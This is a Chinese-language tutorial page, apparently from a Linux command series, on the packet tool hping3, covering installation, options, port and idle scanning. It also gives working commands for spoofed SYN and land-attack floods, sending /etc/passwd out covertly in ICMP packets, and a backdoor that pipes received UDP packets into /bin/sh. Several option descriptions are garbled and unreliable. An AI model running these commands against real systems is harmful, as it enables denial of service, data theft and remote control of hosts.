hping3
測(cè)試網(wǎng)絡(luò)及主機(jī)的安全
補(bǔ)充說明
hping 是用于生成和解析TCPIP協(xié)議數(shù)據(jù)包的開源工具。創(chuàng)作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl腳本自動(dòng)化地調(diào)用其API。hping是安全審計(jì)、防火墻測(cè)試等工作的標(biāo)配工具。hping優(yōu)勢(shì)在于能夠定制數(shù)據(jù)包的各個(gè)部分,因此用戶可以靈活對(duì)目標(biāo)機(jī)進(jìn)行細(xì)致地探測(cè)。
安裝
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
選項(xiàng)
-H, --help 顯示幫助。
-v, -VERSION 版本信息。
-c, --count count 發(fā)送數(shù)據(jù)包的次數(shù) 關(guān)于countreached_timeout 可以在hping2.h里編輯。
-i, --interval 包發(fā)送間隔時(shí)間(單位是毫秒)缺省時(shí)間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時(shí)此功能也會(huì)被用到,你可以參考hping-howto獲得更多信息-fast 每秒發(fā)10個(gè)數(shù)據(jù)包。
-n, -nmeric 數(shù)字輸出,象征性輸出主機(jī)地址。
-q, -quiet 退出。
-I, --interface interface name 無非就是eth0之類的參數(shù)。
-v, --verbose 顯示很多信息,TCP回應(yīng)一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D, --debug 進(jìn)入debug模式當(dāng)你遇到麻煩時(shí),比如用HPING遇到一些不合你習(xí)慣的時(shí)候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z, --bind 快捷鍵的使用。
-Z, --unbind 消除快捷鍵。
-O, --rawip RAWIP模式,在此模式下HPING會(huì)發(fā)送帶數(shù)據(jù)的IP頭。
-1, --icmp ICMP模式,此模式下HPING會(huì)發(fā)送IGMP應(yīng)答報(bào),你可以用--ICMPTYPE --ICMPCODE選項(xiàng)發(fā)送其他類型/模式的ICMP報(bào)文。
-2, --udp UDP 模式,缺省下,HPING會(huì)發(fā)送UDP報(bào)文到主機(jī)的0端口,你可以用--baseport --destport --keep選項(xiàng)指定其模式。
-9, --listen signatuer hping的listen模式,用此模式,HPING會(huì)接收指定的數(shù)據(jù)。
-a, --spoof hostname 偽造IP攻擊,防火墻就不會(huì)記錄你的真實(shí)IP了,當(dāng)然回應(yīng)的包你也接收不到了。
-t, --ttl time to live 可以指定發(fā)出包的TTL值。
-H, --ipproto 在RAW IP模式里選擇IP協(xié)議。
-w, --WINID UNIX ,WINDIWS的id回應(yīng)不同的,這選項(xiàng)可以讓你的ID回應(yīng)和WINDOWS一樣。
-r, --rel 更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。
-F, --FRAG 更改包的FRAG,這可以測(cè)試對(duì)方對(duì)于包碎片的處理能力,缺省的“virtual mtu”是16字節(jié)。
-x, --morefrag 此功能可以發(fā)送碎片使主機(jī)忙于恢復(fù)碎片而造成主機(jī)的拒絕服務(wù)。
-y, -dontfrag 發(fā)送不可恢復(fù)的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。
-G, --fragoff fragment offset value set the fragment offset
-m, --mtu mtu value 用此項(xiàng)后ID數(shù)值變得很大,50000沒指定此項(xiàng)時(shí)3000-20000左右。
-G, --rroute 記錄路由,可以看到詳悉的數(shù)據(jù)等等,最多可以經(jīng)過9個(gè)路由,即使主機(jī)屏蔽了ICMP報(bào)文。
-C, --ICMPTYPE type 指定ICMP類型,缺省是ICMP echo REQUEST。
-K, --ICMPCODE CODE 指定ICMP代號(hào),缺省0。
--icmp-ipver 把IP版本也插入IP頭。
--icmp-iphlen 設(shè)置IP頭的長度,缺省為5(32字節(jié))。
--icmp-iplen 設(shè)置IP包長度。
--icmp-ipid 設(shè)置ICMP報(bào)文IP頭的ID,缺省是RANDOM。
--icmp-ipproto 設(shè)置協(xié)議的,缺省是TCP。
--icmp-cksum 設(shè)置校驗(yàn)和。
--icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s, --baseport source port hping 用源端口猜測(cè)回應(yīng)的包,它從一個(gè)基本端口計(jì)數(shù),每收一個(gè)包,端口也加1,這規(guī)則你可以自己定義。
-p, --deskport [+][+]desk port 設(shè)置目標(biāo)端口,缺省為0,一個(gè)加號(hào)設(shè)置為:每發(fā)送一個(gè)請(qǐng)求包到達(dá)后,端口加1,兩個(gè)加號(hào)為:每發(fā)一個(gè)包,端口數(shù)加1。
--keep 上面說過了。
-w, --win 發(fā)的大小和windows一樣大,64BYTE。
-O, --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m, --tcpseq 設(shè)置TCP序列數(shù)。
-l, --tcpck 設(shè)置TCP ack。
-Q, --seqnum 搜集序列號(hào)的,這對(duì)于你分析TCP序列號(hào)有很大作用。
Hping3功能
Hping3主要有以下典型功能應(yīng)用:
防火墻測(cè)試
使用Hping3指定各種數(shù)據(jù)包字段,依次對(duì)防火墻進(jìn)行詳細(xì)測(cè)試。請(qǐng)參考:http://0daysecurity.com/articles/hping3_examples.html
測(cè)試防火墻對(duì)ICMP包的反應(yīng)、是否支持traceroute、是否開放某個(gè)端口、對(duì)防火墻進(jìn)行拒絕服務(wù)攻擊(DoS attack)。例如,以LandAttack方式測(cè)試目標(biāo)防火墻(Land Attack是將發(fā)送源地址設(shè)置為與目標(biāo)地址相同,誘使目標(biāo)機(jī)與自己不停地建立連接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口掃描
Hping3也可以對(duì)目標(biāo)端口進(jìn)行掃描。Hping3支持指定TCP各個(gè)標(biāo)志位、長度等信息。以下示例可用于探測(cè)目標(biāo)機(jī)的80端口是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的標(biāo)志位SYN,-p 80指定探測(cè)的目的端口。
hping3支持非常豐富的端口探測(cè)方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因?yàn)镠ping3僅發(fā)送與接收包,不會(huì)維護(hù)連接,所以不支持connect方式探測(cè))。而且Hping3能夠?qū)Πl(fā)送的探測(cè)進(jìn)行更加精細(xì)的控制,方便用戶微調(diào)探測(cè)結(jié)果。當(dāng)然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對(duì)少量主機(jī)的少量端口進(jìn)行掃描。
Idle掃描
Idle掃描(Idle Scanning)是一種匿名掃描遠(yuǎn)程主機(jī)的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發(fā)明的,目前Idle掃描在Nmap中也有實(shí)現(xiàn)。
該掃描原理是:尋找一臺(tái)idle主機(jī)(該主機(jī)沒有任何的網(wǎng)絡(luò)流量,并且IPID是逐個(gè)增長的),攻擊端主機(jī)先向idle主機(jī)發(fā)送探測(cè)包,從回復(fù)包中獲取其IPID。冒充idle主機(jī)的IP地址向遠(yuǎn)程主機(jī)的端口發(fā)送SYN包(此處假設(shè)為SYN包),此時(shí)如果遠(yuǎn)程主機(jī)的目的端口開放,那么會(huì)回復(fù)SYN/ACK,此時(shí)idle主機(jī)收到SYN/ACK后回復(fù)RST包。然后攻擊端主機(jī)再向idle主機(jī)發(fā)送探測(cè)包,獲取其IPID。那么對(duì)比兩次的IPID值,我們就可以判斷遠(yuǎn)程主機(jī)是否回復(fù)了數(shù)據(jù)包,從而間接地推測(cè)其端口狀態(tài)。
拒絕服務(wù)攻擊
使用Hping3可以很方便構(gòu)建拒絕服務(wù)攻擊。比如對(duì)目標(biāo)機(jī)發(fā)起大量SYN連接,偽造源地址為192.168.10.99,并使用1000微秒的間隔發(fā)送各個(gè)SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構(gòu)建出來。
文件傳輸
Hping3支持通過TCP/UDP/ICMP等包來進(jìn)行文件傳輸。相當(dāng)于借助TCP/UDP/ICMP包建立隱秘隧道通訊。實(shí)現(xiàn)方式是開啟監(jiān)聽端口,對(duì)檢測(cè)到的簽名(簽名為用戶指定的字符串)的內(nèi)容進(jìn)行相應(yīng)的解析。在接收端開啟服務(wù):
hping3 192.168.1.159--listen signature --safe --icmp
監(jiān)聽ICMP包中的簽名,根據(jù)簽名解析出文件內(nèi)容。
在發(fā)送端使用簽名打包的ICMP包發(fā)送文件:
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機(jī)。發(fā)送包大小為100字節(jié)(-d 100),發(fā)送簽名為signature(-sign signature)。
木馬功能
如果Hping3能夠在遠(yuǎn)程主機(jī)上啟動(dòng),那么可以作為木馬程序啟動(dòng)監(jiān)聽端口,并在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號(hào)UDP端口(DNS解析服務(wù))監(jiān)聽來自192.168.10.66主機(jī)的包含簽名為signature的數(shù)據(jù)包,并將收到的數(shù)據(jù)調(diào)用/bin/sh執(zhí)行。
在木馬啟動(dòng)端:
hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh
在遠(yuǎn)程控制端:
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的文件加上簽名signature發(fā)送到192.168.10.44主機(jī)的53號(hào)UDP端口,包數(shù)據(jù)長度為100字節(jié)。
當(dāng)然這里只是簡單的演示程序,真實(shí)的場景,控制端可以利益shell執(zhí)行很多的高級(jí)復(fù)雜的操作。文章來源:http://www.zghlxwxcb.cn/news/detail-723880.html
從零學(xué) python
【從零學(xué)習(xí)python 】92.使用Python的requests庫發(fā)送HTTP請(qǐng)求和處理響應(yīng)
【從零學(xué)習(xí)python 】91. 使用裝飾器和字典管理請(qǐng)求路徑的簡潔Web應(yīng)用
【從零學(xué)習(xí)python 】93.使用字典管理請(qǐng)求路徑
【從零學(xué)習(xí)python 】89. 使用WSGI搭建簡單高效的Web服務(wù)器
【從零學(xué)習(xí)python 】88. WSGI接口詳解:實(shí)現(xiàn)簡單高效的Web開發(fā)
【從零學(xué)習(xí)python 】87. 手動(dòng)搭建HTTP服務(wù)器的Python實(shí)現(xiàn)及多線程并發(fā)處理
【從零學(xué)習(xí)python 】86. 深入了解HTTP協(xié)議及其在瀏覽器和服務(wù)器通信中的作用
【從零學(xué)習(xí)python 】85.Python進(jìn)程池的并行計(jì)算技術(shù)應(yīng)用
【從零學(xué)習(xí)python 】84.深入理解線程和進(jìn)程
【從零學(xué)習(xí)python 】83. Python多進(jìn)程編程與進(jìn)程池的使用
【從零學(xué)習(xí)python 】82. 基于多線程的聊天程序?qū)崿F(xiàn)
【從零學(xué)習(xí)python 】81.Python多線程通信與隊(duì)列的應(yīng)用
【從零學(xué)習(xí)python 】80.線程訪問全局變量與線程安全問題
【從零學(xué)習(xí)python 】79. 線程訪問全局變量與線程安全問題
【從零學(xué)習(xí)python 】78. 文件下載案例
【從零學(xué)習(xí)python 】77. TCP服務(wù)端編程及注意事項(xiàng)
【從零學(xué)習(xí)python 】76.服務(wù)器與客戶端:網(wǎng)絡(luò)通信的關(guān)鍵組成部分
【從零學(xué)習(xí)python 】75. TCP協(xié)議:可靠的面向連接的傳輸層通信協(xié)議
【從零學(xué)習(xí)python 】74. UDP網(wǎng)絡(luò)程序:端口問題與綁定信息詳解
【從零學(xué)習(xí)python 】73. UDP網(wǎng)絡(luò)程序-發(fā)送數(shù)據(jù)
【從零學(xué)習(xí)python 】72. 深入理解Socket通信及創(chuàng)建套接字的方法
【從零學(xué)習(xí)python 】71. 網(wǎng)絡(luò)端口及其作用
【從零學(xué)習(xí)python 】70.網(wǎng)絡(luò)通信方式及其應(yīng)用:從直接通信到路由器連接多個(gè)網(wǎng)絡(luò)
【從零學(xué)習(xí)python 】69. 網(wǎng)絡(luò)通信及IP地址分類解析
【從零學(xué)習(xí)python 】68. Python正則表達(dá)式中的貪婪和非貪婪模式
【從零學(xué)習(xí)python 】67.Python中的re模塊:正則替換與高級(jí)匹配技術(shù)
【從零學(xué)習(xí)python 】66.深入了解正則表達(dá)式:模式匹配與文本處理的利器
【從零學(xué)習(xí)python 】65. Python正則表達(dá)式修飾符及其應(yīng)用詳解
【從零學(xué)習(xí)python 】64. Python正則表達(dá)式中re.compile方法的使用詳解
【從零學(xué)習(xí)python 】63.正則表達(dá)式中的re.Match類及其屬性和方法介紹
【從零學(xué)習(xí)python 】62. Python正則表達(dá)式:強(qiáng)大的字符串匹配工具
【從零學(xué)習(xí)python 】61.Python中的property屬性詳解和應(yīng)用示例
【從零學(xué)習(xí)python 】60.探索生成器:迭代的靈活利器
【從零學(xué)習(xí)python 】59.迭代器:優(yōu)化數(shù)據(jù)遍歷的高效工具
【從零學(xué)習(xí)python 】58.Python中的自定義異常及引發(fā)異常的方法
【從零學(xué)習(xí)python 】57.Python中使用with關(guān)鍵字正確關(guān)閉資源
【從零學(xué)習(xí)python 】56. 異常處理在程序設(shè)計(jì)中的重要性與應(yīng)用
【從零學(xué)習(xí)python 】55.Python中的序列化和反序列化,JSON與pickle模塊的應(yīng)用
【從零學(xué)習(xí)python 】54. 內(nèi)存中寫入數(shù)據(jù)
【從零學(xué)習(xí)python 】53. CSV文件和Python的CSV模塊
【從零學(xué)習(xí)python 】52.文件的讀寫 - Python文件操作指南
【從零學(xué)習(xí)python 】51.文件的打開與關(guān)閉及其在Python中的應(yīng)用
【從零學(xué)習(xí)python 】49. Python中對(duì)象相關(guān)的內(nèi)置函數(shù)及其用法
【從零學(xué)習(xí)python 】48.Python中的繼承與多繼承詳解
【從零學(xué)習(xí)python 】47. 面向?qū)ο缶幊讨械睦^承概念及基本使用
【從零學(xué)習(xí)python 】46. Python中的__new__和__init__方法解析及單例設(shè)計(jì)模式
【從零學(xué)習(xí)python 】45.Python中的類方法和靜態(tài)方法
【從零學(xué)習(xí)python 】44.面向?qū)ο缶幊讨械乃接袑傩院头椒?br>【從零學(xué)習(xí)python 】43. Python面向?qū)ο缶幊讨械膶?shí)例屬性和類屬性
【從零學(xué)習(xí)python 】42.Python中的內(nèi)置屬性和方法
【從零學(xué)習(xí)python 】41.python魔法方法(二)
【從零學(xué)習(xí)python 】40.python魔法方法(一)
【從零學(xué)習(xí)python 】39.面向?qū)ο蠡菊Z法及應(yīng)用示例
【從零學(xué)習(xí)python 】38.Python包的使用及導(dǎo)入方式
【從零學(xué)習(xí)python 】37.Python自定義模塊的使用和注意事項(xiàng)
【從零學(xué)習(xí)python 】36.Python中使用pip進(jìn)行第三方包管理的方法與技巧
【從零學(xué)習(xí)python 】35. Python常見系統(tǒng)模塊及其用法
【從零學(xué)習(xí)python 】34.Python模塊的導(dǎo)入和使用方法詳解
【從零學(xué)習(xí)python 】33.裝飾器的作用(二)
【從零學(xué)習(xí)python 】32.裝飾器的作用(一)
【從零學(xué)習(xí)python 】31.深入理解Python中的高階函數(shù)和閉包
【從零學(xué)習(xí)python 】30.深入理解遞歸函數(shù)和匿名函數(shù)
【從零學(xué)習(xí)python 】29. 「函數(shù)參數(shù)詳解」——了解Python函數(shù)參數(shù)的不同用法
【從零學(xué)習(xí)python 】28. Python中的局部變量和全局變量
【從零學(xué)習(xí)python 】27. Python 函數(shù)的使用及嵌套調(diào)用
【從零學(xué)習(xí)python 】25.函數(shù):提高代碼編寫效率的利器
【從零學(xué)習(xí)python 】24. Python中的字符串操作與遍歷方法
【從零學(xué)習(xí)python 】23. Python中集合(set)的使用方法和常見操作
【從零學(xué)習(xí)python 】22. Python中的字典的增刪改查及字典的變量
【從零學(xué)習(xí)python 】21.Python中的元組與字典
【從零學(xué)習(xí)python 】20. Python列表操作技巧及實(shí)例
【從零學(xué)習(xí)python 】19. 循環(huán)遍歷列表和列表嵌套的應(yīng)用
【從零學(xué)習(xí)python 】18. Python列表的基本操作詳解(一)
【從零學(xué)習(xí)python 】17. Python字符串的format方法(二)
【從零學(xué)習(xí)python 】16. Python字符串的format方法(一)
【從零學(xué)習(xí)python 】15.深入了解字符串及字符集編碼
【從零學(xué)習(xí)python 】14.Python字符串常見操作(二)
【從零學(xué)習(xí)python 】13.Python字符串常見操作(一)
【從零學(xué)習(xí)python 】12.Python字符串操作與應(yīng)用
【從零學(xué)習(xí)python 】11.Python循環(huán)語句和控制流程
【從零學(xué)習(xí)python 】10.Python條件語句和if嵌套詳解
【從零學(xué)習(xí)python 】09.Python 中的條件判斷語句
【從零學(xué)習(xí)python 】08.Python了解位運(yùn)算符, 運(yùn)算符優(yōu)先級(jí)
【從零學(xué)習(xí)python 】07.Python運(yùn)算符詳解:賦值、比較和邏輯運(yùn)算符
【從零學(xué)習(xí)python 】06. Python中運(yùn)用算數(shù)運(yùn)算符進(jìn)行計(jì)算和字符串拼接
【從零學(xué)習(xí)python 】05. Python中的輸出和輸入
【從零學(xué)習(xí)python 】04. Python編程基礎(chǔ):變量、數(shù)據(jù)類型與標(biāo)識(shí)符
【從零學(xué)習(xí)python 】03. Python交互式編程及注釋詳解
【從零學(xué)習(xí)python 】02. 開發(fā)工具介紹
【從零學(xué)習(xí)python 】01. 安裝配置python文章來源地址http://www.zghlxwxcb.cn/news/detail-723880.html
到了這里,關(guān)于【linux命令講解大全】141.hping3:測(cè)試網(wǎng)絡(luò)及主機(jī)的安全的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!